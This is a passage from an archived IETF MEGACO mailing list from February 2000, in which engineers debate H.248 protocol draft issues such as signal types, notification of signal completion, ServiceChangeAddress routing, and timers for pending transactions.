  lists.  Is there something about this proposal that doesn't work given
  our current signal list text?

  
4) Brian's proposals for completion
  events probably work for Chip and they work for me.  To summarize: the
  current notifyCompletion parameter remains but its significance changes: it is
  a selector (Boolean, default FALSE) and does not actually arm reporting. 
  There is a signal completion event which reports on the completion of any
  signal so flagged, with the identity of the signal as a reporting
  parameter.  QUESTION: should KeepActive default to TRUE for this
  event?  In any case, the signal completion event is invoked in the usual
  way, through an events descriptor.

  
Open issue: signal failures. 
  The need for reports of such failures is real -- they do happen from time to
  time.  They happen autonomously, which means we either have to have an
  error method (ServiceChange ?) or an event to report them.  The key issue
  is whether you would need to know about ANY failure or only those of selected
  signals.


  
    
    
    -----Original Message----- 
    From:   Rosen, Brian [SMTP:brosen@FORE.COM] 
    Sent:   Friday, February
    04, 2000 2:17 PM 
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM 
    Subject:        Re: Cisco SG16: Signals Operation 
    
    
    Comments below 
    
    
    > -----Original Message----- 
    > From: Chip Sharp [mailto:chsharp@cisco.com] 
    > Sent: Friday,
    February 04, 2000 12:05 AM 
    > To:
    MEGACO@standards.nortelnetworks.com 
    >
    Subject: Re: Cisco SG16: Signals Operation 
    > 
    > 
    > At 08:17 PM 2/2/00 -0500, Tom-PT Taylor wrote:
    
    > > 
    > > 
    > >I have every
    sympathy with your first point -- I couldn't resist the 
    > >temptation to propose a new definition of
    BR.  The fact is, 
    > the way
    things 
    > >currently stand, we could
    abolish the signal type parameter 
    >
    and it would 
    > >make no difference
    to the operation of the protocol.  I 
    > suppose we would 
    >
    >have to define an "infinite" duration to simulate on/off as
    
    > currently 
    > >defined, but even that might not be necessary.
    
    > > 
    > >Speaking as chair, I suppose I have to say that the
    null 
    > hypothesis is 
    > >that we stick with our current text.  We
    have two other alternatives: 
    >
    > 
    > >(a) New distinctive
    definitions for BR, TO, OO, with the 
    >
    understanding 
    > >that the
    definition of a given signal indicates its default 
    > type, but that 
    > >type can always be overridden by the type parameter.
    
    > > 
    > >  - BR duration is assumed to be known to the MG
    without 
    > explicit MGC
    
    > > input.  BR signals can be stopped
    by detection of events 
    > without
    the 
    > > KeepActive parameter or by
    replacement of the current 
    > signal
    descriptor 
    > > with one not
    containing the indicated signal. 
    > I
    would suggest they cannot be interrupted by events. If not, there's
    
    > little reason for having them as well as TO
    signals. 
    It's okay with me 
    
    
    > > 
    >
    > 
    > >  - TO duration is
    given explicitly by the duration 
    >
    parameter.  A default 
    > > may
    be provisioned or defined in the package.  TO signals 
    > can be stopped 
    > > by detection of events without the KeepActive parameter
    or 
    > by replacement 
    > > of the current signal descriptor with one not
    containing 
    > the indicated
    signal. 
    > > 
    > >  - OO signals remain active until a signal
    descriptor with explicit 
    > >
    turn-off syntax comes into effect (Chip's proposal). 
    > Sounds good. 
    What
    is the syntax?  Would a parameter do, or do we have to actually have
    a 
    keyword?  Is there a
    default?  I propose that we 
    have
    keywords. Signals{VMButton{ON}} 
    this
    makes: 
    sigParameter       = sigStream /
    sigSignalType / sigDuration / 
                   
    sigOnOFF / sigOther / NotifyCompletion 
    (last element is in debate at the moment) 
    sigOnOff          
    = OnToken / OffToken 
    
    
    What happens with signal lists? 
    
    
    > > 
    >
    > 
    > >(b) Abolish signal
    type. 
    > > 
    > >If I see a sudden rush to agreement on something
    other than 
    > the existing
    
    > >text I'll feed it into Geneva. 
    Otherwise things stay put 
    > and we can
    try 
    > >again for H.248v2 -- the
    protocol works as is. 
    > I doubt it.
    This is such a fundamental property of the 
    > protocol that it is 
    >
    highly unlikely you would be able it in v2, not least considering the
    
    > backwards compatibility restricion on
    package extensions. I 
    > would
    suggest 
    > doing it right the first
    time around. 
    > 
    > Issue update and additions follow below.
    
    > > 
    > > 
    > >Comments to the
    other points follow them. 
    >
    >-----Original Message-----  From:  Chip Sharp 
    > >[SMTP:chsharp@CISCO.COM]  Sent: 
    Tuesday, January 25, 2000 7:59 
    >
    >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM 
    Subject: 
    >  Cisco SG16:
    
    > >Signals Operation 
    > 
    >
    Section:         7.1.1, second
    paragraph, last paragraph 
    >
    Category:     Technical 
    > Issue no.:     14.2 
    >
    Issue:          The draft text
    specifies that "Finally, there is an 
    >
    optional "notifyCompletion" that allows a MGC to request 
    > being notified of 
    > completion of the signal. The value of thi sparameter is
    a 
    > RequestIdentifier, allowing the
    MGC to correlate the Notify with the 
    >
    corresponding signal" and furthermore that "If the MGC requested
    
    > notification of completion for a signal, a
    Notify command 
    > SHALL be sent
    by 
    > the MG upon completion of that
    signal. A Notify triggered by 
    >
    completion of 
    > a signal SHALL NOT
    affect the state of the eventbuffer or any 
    > active events 
    >
    descriptor". There is already a mechanism in the protocol 
    > that supports 
    >
    this functionality, namely events. By using the event 
    > mechanism instead, 
    > the duplication of functionality is avoided, and event
    
    > ordering between 
    > "events" and completed signals become trivial -
    currently they are an 
    > unsolved
    issue. Furthermore, it is unclear how this behavior 
    > interacts with 
    > the EventBuffer mechanism. For example, if an event has
    been 
    > notified, 
    > "EventBuffer" is on, and the signal now completes, it
    seems 
    > inconsistent to
    
    > issue another Notify specific to the
    signal. 
    >
    Proposal:     It is strongly suggested, that
    
    > "notifyCompletion" is replaced
    
    > by having the completion of the signal
    generating an event 
    > (e.g.
    "signal 
    > complete") instead
    (notification of which may or may not have been 
    > requested). Furthermore, to account for signal failure,
    there 
    > should be a 
    > "signal failure" event as well. 
    > Status: 
    I have
    argued this precise point, and believe that there should only
    
    be ONE way to get an event armed and
    triggered.  I agree that it 
    should
    be an event.  I specifically proposed that a signal complete
    
    event be defined that has a parameter which is
    the list of signals 
    that it applies to,
    but it occurs to me that a compromise is to 
    leave the parameter in Signals Descriptor as being a "this is
    one 
    of the signals that the signal
    complete event applies to", and then 
    the
    signals complete event has no input parameter, but has an output
    
    parameter that specifies which signal
    completed. 
    
    
    > >   
    Section:        7.1.10, fourth paragraph,
    first 
    > > bullet. 
    Category:       Technical, Open Issue 
    Issue: 
    >     The
    draft 
    > > text defines on/off
    signals "the signal lasts until it is 
    > turned off", 
    > >
    however this definition is not clear. Specifically, it is 
    > not  clear if 
    > > an on/off signal is turned off by not being included in
    a 
    > subsequent 
    > > SignalsDescriptor or if it is turned off by some
    explicit 
    > action. In the
    
    > > latter case, syntax is missing leading
    one to believe that 
    > the
    former 
    > > definition is intended.
    The former definition on the other hand  is 
    > > somewhat problematic and overlaps the definition of
    time-out 
    > > signals  with an
    indefinite duration. Consider for instance 
    > a "visual 
    > >
    message  waiting indicator" defined as an on/off signal. Unless
    the 
    > > signal is  included in
    all subsequent SignalsDescritpors, 
    >
    the indicator 
    > > will be
    turned  off. The on/off signal type would be more 
    > useful (and not 
    > > a duplicate of  timeout) if this was not the
    case.  Also, 
    > it should
    be 
    > > noted, that the more general
    topic of signal types and  the 
    >
    details of 
    > > their operation has
    been the subject of much debate on the 
    > IETF Megaco 
    > > mailing
    list since the white contribution was developed, 
    > and  that at 
    > >
    time of writing, no resolution had been found. 
    > > 
    >
    >Proposal:       It is recommended that the
    definition of on/off is 
    >
    >clarified in  accordance with the above and the missing syntax
    added. 
    > > 
    > > 
    > >v13
    Status:     OPEN. No substantial change has been
    made. 
    > 
    > v14: OPEN. No relevant text changed. 
    > > 
    > >
    
    >
    >Section:        7.1.10, fourth
    paragraph, second 
    > >bullet 
    Category:       Technical 
    Issue:          The
    draft 
    > text defines 
    > >timeout signals as "the signal lasts until 
    it is turned off 
    > or a
    specific 
    > >period of time
    elapses", however there is no  mechanism 
    > specified for 
    >
    >informing the MGC when that specific period of time  has
    
    > elapsed and thus 
    > >the signal has ended. The MGC may therefore be
    unable  to 
    > determine if
    a 
    > >given signal is playing in an
    MG or not. An example where 
    > this is
    needed 
    > >is outpulsing with MF
    Feature Group D trunks where multiple 
    > digit strings 
    >
    >(address and caller id) need to be outpulsed. MGC needs to
    
    > know when 
    > >outpulsing of the first string of digits has occurred
    before 
    >  requesting
    
    > >out-pulsing of the next string.).
    Another example is a 
    > signal 
    activated 
    > >through an external
    event such as user input (by use of an  embedded 
    > >signals descriptor). 
    > > 
    >
    >Proposal:       It is strongly recommended
    that a mechanism 
    > for
    notifying 
    > >the MGC  upon
    timeout signal completion is added, e.g. in 
    > the form of an 
    >
    >event  ("operation complete"). Furthermore, it should be
    
    > considered to add 
    > >another  event that would allow the MGC to
    be informed if 
    > generation of
    
    > >the signal  fails for some reason
    (e.g. "operation 
    > failure"). It
    should be 
    > >noted, that  this
    may happen in the middle of the signals 
    > defined duration. 
    >
    > 
    > >v13
    Status:     OPEN. No substantial change has been
    made. 
    > > 
    > >[[TomT]]  v14 adds the notifyCompletion
    parameter for every 
    > signal
    and 
    > >text on how completions are
    notified in section 7.2.7.  For 
    >
    failures we 
    > >have that generic
    failure event in E.1, but no text on how 
    > to apply it or 
    > >what
    request ID to use for it. 
    >
    
    > v14:    DISAGREE (see issue
    14.2). A mechanism has been added. 
    I'd
    say that the mechanism proposed, or the V14 mechanism does 
    address the completion part.  The error part is V2;
    should it be 
    an event, or just an
    error?  How should the error be reported? 

    
    
    > 
    >
    Section:         7.1.17
    
    > Category:    
    Technical 
    > Issue
    no.:     14.3 
    >
    Issue:          The draft text
    specifies that "If a Notify is 
    > sent
    as a 
    > result of a signal completion,
    the ObservedEventsDescriptor 
    >
    contains the 
    > name of the signal that
    completed and the time at which it 
    >
    completed". Cf. 
    > issue 14.2, this
    behavior is undesirable and should be 
    > replaced with an 
    > event
    instead thereby eliminating the need for specifying 
    > this special case. 
    > Proposal: Assuming the proposed resolution to issue 14.2
    is 
    > accepted, it is 
    > proposed that the above sentence is deleted.
    
    > Status: 
    Since I agree that the mechanism should be an event, I agree
    
    with this 
    
    
    >
    Section:         7.2.8 (Notify),
    last three paragraphs 
    >
    Category:     Technical 
    > Issue no.:      14.5 
    >
    Issue:          The draft text
    specifies that "..., or as a result of 
    > completion of a signal for which the MGC requested notification
    of 
    > completion", and "...or the
    triggering SignalsDescriptor", as 
    >
    finally "A 
    > Notify triggered by
    completion of a signal, contains the 
    >
    corresponding 
    > signal name in the
    ObservedEventsDescriptor". However, as 
    > argued in issue 
    > 14.2,
    this behavior is a special case that is inconsistent 
    > with the general 
    > event handling mechanism, incl. Notifications. If signal
    
    > completion was not 
    > designed as a special case (which there is no reason
    to), 
    > this special case
    
    > handling would not be necessary.
    
    > Proposal: Assuming the proposed solution to
    issue 14.2 is 
    > accepted, it is
    
    > proposed to remove all of the above text
    segments. 
    > Status: 
    Ditto 
    
    
    > > 
    >
    > 
    >
    >Section:               
    12.1.4  Category:       Technical,
    Open 
    > >Issue 
    Issue:          The draft text
    mentions SignalType CN 
    >
    (Continue), 
    > >however this 
    SignalType is not defined in Section 7.1.10 on Signals 
    > >Descriptor.  Also, it should be noted, that
    the more general 
    > topic of
    
    > >signal types and  the details of
    their operation has been 
    > the subject
    of 
    > >much debate on the  IETF
    Megaco mailing list since the white 
    >
    contribution 
    > >was developed,
    and  that at time of writing, no resolution had been 
    > >found. 
    Proposal:       It is proposed that SignalType
    CN is 
    > removed from 
    > >the text. 
    >
    > 
    > >v13
    Status:     OPEN. No text changed. 
    > > 
    >
    >[[TomT]]  Done. 
    > v14.
    CLOSED. SignalType CN has been removed. 
    > >   
    Section:        12.1.4 
    Category:       Technical, Open
    
    > > Issue 
    Issue:          The draft text
    specifies that 
    > "Signals that
    would 
    > > be played with 
    SignalType BR should have a default 
    >
    duration"  Again, it 
    > >
    should be noted, that the more general topic of signal 
    > types and  the 
    > > details of their operation has been the subject of much
    debate on 
    > > the  IETF Megaco
    mailing list since the white contribution 
    > was developed, 
    > >
    and  that at time of writing, no resolution had been 
    > > found. 
    Proposal:       It is proposed that similar
    text is 
    > added as for
    
    > > signals of  SignalType TO.
    
    > > 
    > >v13 Status:     OPEN. No text
    changed.  [[TomT]]  See 
    >
    initial comments to 
    > >this
    message. 
    > v14: OPEN. No text
    changed. 
    > Support
    NetAid!  http://www.netaid.org 
    > --------------------------------------------------
    
    > Chip
    Sharp                
    Consulting Engineering 
    > Cisco
    Systems             
    Telco Bio-region 
    > Reality - Love it
    or Leave it. 
    >
    -------------------------------------------------- 
    > 


------_=_NextPart_001_01BF6F4E.2C254CFC--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:44:51 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09876
	for ; Fri, 4 Feb 2000 15:44:50 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.3662FAC0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:40:50 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25325 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 15:40:45 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.CD9541C0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:30:44
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id PAA28146; Fri, 4 Feb
          2000 15:32:49 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id PAA26653; Fri, 4 Feb
          2000 15:32:53 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTTG0>; Fri, 4 Feb 2000 15:29:37 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F4E.8D9244AE"
Message-ID:  <4FBEA8857476D311A03300204840E1CF20889C@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 15:32:50 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Service Change
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F4E.8D9244AE
Content-Type: text/plain;
        charset="iso-8859-1"

Agreed, and is there any reason the MG can't do the same?  Requests go where
ServiceChange says, replies go back to whom they came from.  Must make sure
we handle failover correctly.

Brian

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Friday, February 04, 2000 3:24 PM
To: Rosen, Brian; megaco@standards.nortelnetworks.com
Subject: RE: Cisco SG16: Service Change



Proposal: if and only if the MG supplies a ServiceChangeAddress, it wants
all commands directed to that address.  The MGC would continue to send
responses back to the address the requests came from, even if this requires
sending transaction requests in separate messages from transaction replies
and transaction pending messages.

It's not symmetric: if the MGC supplies a ServiceChangeAddress, the whole
association moves over to that address.

        -----Original Message-----
From:   Rosen, Brian [SMTP:brosen@fore.com]
Sent:   Friday, February 04, 2000 11:48 AM
To:     Taylor, Tom-PT [CAR:B904:EXCH]; megaco@standards.nortelnetworks.com
Subject:        RE: Cisco SG16: Service Change

        Excuse me, messages don't matter, transactions do.  A message with
one request transaction and one response transaction can, and most probably
will, result in a different

        structure in outgoing messages.  It would not be a big burden to
have responses going
to a different place than transactions, although it might increase the
number of
messages.

Brian

        -----Original Message-----
From: Tom-PT Taylor [ mailto:taylor@nortelnetworks.com
 ]
Sent: Friday, February 04, 2000 11:31 AM
To: Rosen, Brian; megaco@standards.nortelnetworks.com
Subject: RE: Cisco SG16: Service Change



        Glitch warning -- indicated change won't work.  Our messages can
include both requests and responses, so the address to which messages are
sent is an all or nothing decision.  I'll try to make things consistent with
section 9.  Simplest way is by saying that ServiceChangeAddress should not
be sent by an MG when transport is over IP.

                -----Original Message-----
From:   Rosen, Brian [SMTP:brosen@FORE.COM]
Sent:   Friday, February 04, 2000 9:22 AM
[[TomT]]  snip
>
> Section:         7.2.8 (ServiceChange), fifth last paragraph
> Category:     Technical, Editorial
> Issue no.:     14.8
> Issue:          The draft text specifies that "The MGC shall use this
> Addres, if specified, in its response to the ServiceChange
> command and any
> subequent commands and responses" and "The MG shall use this
> address for
> any subsequent communication with the MGC". While it makes
> sense to require
> commands to be sent to this address, it is generally not a
> good idea to
> require this for responses, e.g. for clustered systems. Furthermore,
> Section 9 (Transport) also specifies that "Responses to
> commands are sent
> back to the source address of the commands"
> Proposal:     It is strongly recommended, that commands will
> be sent to the
> address specified while responses will always be sent to the
> source address
> they came from.
> Status:
I agree with this.  The text is inconsistant, so something needs
to be changed.  Chip's proposal seems the most reasonable way
to resolve it


                [[TomT]]  snip


------_=_NextPart_001_01BF6F4E.8D9244AE
Content-Type: text/html;
        charset="iso-8859-1"




RE: Cisco SG16: Service Change




Agreed, and is there any reason the MG can't do the
same?  Requests go where ServiceChange says, replies go back to whom they
came from.  Must make sure we handle failover
correctly.


 


Brian



  
-----Original Message-----
From: Tom-PT Taylor
  [mailto:taylor@nortelnetworks.com]
Sent: Friday, February 04, 2000
  3:24 PM
To: Rosen, Brian;
  megaco@standards.nortelnetworks.com
Subject: RE: Cisco SG16: Service
  Change


  
Proposal: if and only if the MG
  supplies a ServiceChangeAddress, it wants all commands directed to that
  address.  The MGC would continue to send responses back to the address
  the requests came from, even if this requires sending transaction requests in
  separate messages from transaction replies and transaction pending
  messages.

  
It's not symmetric: if the MGC
  supplies a ServiceChangeAddress, the whole association moves over to that
  address. 

  
    
    
    -----Original Message----- 
    From:   Rosen, Brian [SMTP:brosen@fore.com] 
    Sent:   Friday, February
    04, 2000 11:48 AM 
    To:     Taylor, Tom-PT [CAR:B904:EXCH];
    megaco@standards.nortelnetworks.com 
    Subject:        RE: Cisco SG16: Service Change 
    
    
    Excuse me, messages don't matter,
    transactions do.  A message with one request transaction and one
    response transaction can, and most probably will, result in a
    different
    
    
    structure in outgoing
    messages.  It would not be a big burden to have responses going
    
    to a different place than
    transactions, although it might increase the number of 
    messages.  
      
    Brian 
    
    
      
      
      -----Original Message-----
      From: Tom-PT Taylor
      [mailto:taylor@nortelnetworks.com]
      Sent: Friday, February 04, 2000
      11:31 AM
      To: Rosen, Brian;
      megaco@standards.nortelnetworks.com
      Subject: RE: Cisco SG16:
      Service Change

      
      
      Glitch warning -- indicated
      change won't work.  Our messages can include both requests and
      responses, so the address to which messages are sent is an all or nothing
      decision.  I'll try to make things consistent with section 9. 
      Simplest way is by saying that ServiceChangeAddress should not be sent by
      an MG when transport is over IP.
      
      
              -----Original Message-----
      From:   Rosen, Brian [SMTP:brosen@FORE.COM]
      Sent:   Friday, February 04, 2000 9:22 AM
      [[TomT]]  snip
      >
      >
      Section:         7.2.8
      (ServiceChange), fifth last paragraph
      >
      Category:     Technical, Editorial
      > Issue
      no.:     14.8
      >
      Issue:          The draft
      text specifies that "The MGC shall use this
      > Addres, if specified,
      in its response to the ServiceChange
      > command and
      any
      >
      subequent commands and responses" and "The MG shall use this
      > address for
      > any subsequent
      communication with the MGC". While it makes
      > sense to
      require
      >
      commands to be sent to this address, it is generally not a
      > good idea
      to
      > require
      this for responses, e.g. for clustered systems. Furthermore,
      > Section 9 (Transport)
      also specifies that "Responses to
      > commands are sent
      > back to the source
      address of the commands"
      > Proposal:     It is strongly
      recommended, that commands will
      > be sent to the
      > address specified while
      responses will always be sent to the
      > source
      address
      >
      they came from.
      > Status:
      I agree with this.  The text is inconsistant, so something
      needs
      to be
      changed.  Chip's proposal seems the most reasonable way
      to resolve it 

      
      
              [[TomT]] 
      snip



------_=_NextPart_001_01BF6F4E.8D9244AE--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:46:07 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09897
	for ; Fri, 4 Feb 2000 15:46:06 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7F1387D0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:42:52 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25429 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 15:41:44 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.56787B00@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          15:41:43 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 14:41:59 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Fri, 4
          Feb 2000 15:41:53 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VCQA1>; Fri, 4 Feb 2000 15:41:52 -0500
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Fri, 4 Feb 2000 15:41:48 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Service Change
X-To:         Flemming Andreasen ,
              Brian Rosen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

OK if it's OK with Flemming.  I was looking at things the wrong way when I
denied symmetry.

> -----Original Message-----
> From: Rosen, Brian [SMTP:brosen@fore.com]
> Sent: Friday, February 04, 2000 3:33 PM
> To:   Taylor, Tom-PT [CAR:B904:EXCH]; megaco@standards.nortelnetworks.com
> Subject:      RE: Cisco SG16: Service Change
>
> Agreed, and is there any reason the MG can't do the same?  Requests go
> where ServiceChange says, replies go back to whom they came from.  Must
> make sure we handle failover correctly.
>
> Brian
>
>       -----Original Message-----
>       From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
>       Sent: Friday, February 04, 2000 3:24 PM
>       To: Rosen, Brian; megaco@standards.nortelnetworks.com
>       Subject: RE: Cisco SG16: Service Change
>
>
>
>       Proposal: if and only if the MG supplies a ServiceChangeAddress, it
> wants all commands directed to that address.  The MGC would continue to
> send responses back to the address the requests came from, even if this
> requires sending transaction requests in separate messages from
> transaction replies and transaction pending messages.
>
>       It's not symmetric: if the MGC supplies a ServiceChangeAddress, the
> whole association moves over to that address.
>
>               -----Original Message-----
>       From:   Rosen, Brian [SMTP:brosen@fore.com]
>       Sent:   Friday, February 04, 2000 11:48 AM
>       To:     Taylor, Tom-PT [CAR:B904:EXCH];
> megaco@standards.nortelnetworks.com
>       Subject:        RE: Cisco SG16: Service Change
>
>               Excuse me, messages don't matter, transactions do.  A
> message with one request transaction and one response transaction can, and
> most probably will, result in a different
>
>               structure in outgoing messages.  It would not be a big
> burden to have responses going
>       to a different place than transactions, although it might increase
> the number of
>       messages.
>
>       Brian
>
>                       -----Original Message-----
>               From: Tom-PT Taylor [ ]
>               Sent: Friday, February 04, 2000 11:31 AM
>               To: Rosen, Brian; megaco@standards.nortelnetworks.com
>               Subject: RE: Cisco SG16: Service Change
>
>
>
>                       Glitch warning -- indicated change won't work.  Our
> messages can include both requests and responses, so the address to which
> messages are sent is an all or nothing decision.  I'll try to make things
> consistent with section 9.  Simplest way is by saying that
> ServiceChangeAddress should not be sent by an MG when transport is over
> IP.
>
>                               -----Original Message-----
>               From:   Rosen, Brian [SMTP:brosen@FORE.COM]
>               Sent:   Friday, February 04, 2000 9:22 AM
>               [[TomT]]  snip
>               >
>               > Section:         7.2.8 (ServiceChange), fifth last
> paragraph
>               > Category:     Technical, Editorial
>               > Issue no.:     14.8
>               > Issue:          The draft text specifies that "The MGC
> shall use this
>               > Addres, if specified, in its response to the ServiceChange
>               > command and any
>               > subequent commands and responses" and "The MG shall use
> this
>               > address for
>               > any subsequent communication with the MGC". While it makes
>               > sense to require
>               > commands to be sent to this address, it is generally not a
>               > good idea to
>               > require this for responses, e.g. for clustered systems.
> Furthermore,
>               > Section 9 (Transport) also specifies that "Responses to
>               > commands are sent
>               > back to the source address of the commands"
>               > Proposal:     It is strongly recommended, that commands
> will
>               > be sent to the
>               > address specified while responses will always be sent to
> the
>               > source address
>               > they came from.
>               > Status:
>               I agree with this.  The text is inconsistant, so something
> needs
>               to be changed.  Chip's proposal seems the most reasonable
> way
>               to resolve it
>
>
>                               [[TomT]]  snip
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:53:09 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09984
	for ; Fri, 4 Feb 2000 15:53:09 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.59C9AC60@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:48:59 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25522 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 15:48:25 -0500
Received: from mtiwmhc09.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.452D7D40@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:48:24
          -0500
Received: from worldnet.att.net ([12.78.109.48]) by mtiwmhc09.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000204205032.KDAB7433@worldnet.att.net>; Fri, 4 Feb 2000 20:50:32
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF20889A@whq-msgusr-02.fore.com>
Content-Type: multipart/alternative;
              boundary="------------6C5AAACEBD80322E9EB5336F"
Message-ID:  <389B3AD4.C970A4B7@worldnet.att.net>
Date:         Fri, 4 Feb 2000 15:47:16 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------6C5AAACEBD80322E9EB5336F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thanks

That made it clear.

While it certainly works, I think it's pretty wasteful in terms of
bandwidth and processing time - your solution has an inherent trade-off
between the two and expediency of message loss recovery. As long as your
assumption about short-lived transactions holds, that's not too bad,
however, even today, I can give you examples that break that assumption
(e.g. some forms of MF trunking).

An approach where only a single provisional response is transmitted
(assuming no losses) followed by a final reponse which itself is
acknowledged would avoid all of these problems. Consequently, I would
suggest that instead.

-- Flemming





"Rosen, Brian" wrote:

>  Okay, I'll tryWhen you get a request, if it takes longer than
> "expected" time, you send pends at a ratearound "expected" time.  If
> you get a pend, you increase your timer a bit so that youdon't time
> out before the responder's pend timer times out.If no messages are
> lost, the requestor gets a series of pends at about "expected"
> timeintervals.  If one or more pends are lost, the requestors timer
> will expire and it will send a duplicate request.In this case, the
> request will come some time after the pend which was lost
> wasoriginally sent.  The requester doesn't expect a response for (at
> least) "expected"time, but the pend timer already running will expire
> before then.So, in response to a duplicate, you could send a pend, but
> you will send onesooner than the requestor's timer will expire even if
> you don't.  If that gets lost too,another duplicate will be sent, but
> I think that is okay.So yes, the responder "bombards" the requestor
> with pends, at about "expected"rate.  There is a way to increase the
> timer, so you can slow down the rateif you want to.  If you do, you
> would be expected to increase your timeouttime accordingly.  Frankly,
> I think the default is just about right, as there is noreason to
> expect delays longer than a few times the normal time.How is
> that?Brian
>
>      -----Original Message-----
>      From: Flemming Andreasen
>      [mailto:fandreasen@worldnet.att.net]
>      Sent: Friday, February 04, 2000 3:05 PM
>      To: Rosen, Brian
>      Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject: Re: Cisco SG16: Transaction ID uniqueness
>
>      Brian
>
>      Questions/comments below
>
>      -- Flemming
>
>
>      "Rosen, Brian" wrote:
>
>     >
>     >
>     >      MGC                MG
>     >      Request ->
>     >
>     >              x-     Pending (now switches to a longer
>     >      timer)
>     >
>     >      [br]Who has the longer timer?  The requestor,
>     >      yes, the responder, no
>     >
>
>      Are you saying that the MG will keep bombarding the MGC with
>      pending messages until it can send a final one ? That seems
>      rather wasteful in terms of both bandwidth and processing.
>
>
>     >
>     >
>     >
>     >      (lost, so MGC sticks w. normal timer)
>     >
>     >      (timeout)
>     >      Request ->     (ignore since transaction is
>     >      currently executing)
>     >      (timeout))
>     >      Request ->     (ignore since transaction is
>     >      currently executing)
>     >      (timeout)
>     >      Request ->     (ignore since transaction is
>     >      currently executing)
>     >      ...
>     >             <- Final
>     >      (finally)
>     >
>     >      [br]I think that you get a pend within the
>     >      normal response.  If you lose the pend, you
>     >      generate one extra request duplicate, but the
>     >      longer timer isn't going to be twice normal
>     >      time; you simply want to avoid the case of the
>     >      pend timer and the normal response timer being
>     >      the same value and causing extra messages when
>     >      the requests/responses pass each other on the
>     >      net.  If ALL the pends are lost, you would see
>     >      the above, but you would only get one extra if
>     >      only the first were lost.
>     >
>
>      I'm not sure I follow any longer. Can you explain the
>      mechanism again, perhaps with an example ?
>
>     >
>     >
>     >      >
>     >      >
>     >      > Brian
>     >
>      --
>      ---------------------------------------
>      Flemming Andreasen
>      Cisco Systems
>      ---------------------------------------
>
>
--
---------------------------------------
Flemming Andreasen
Cisco Systems
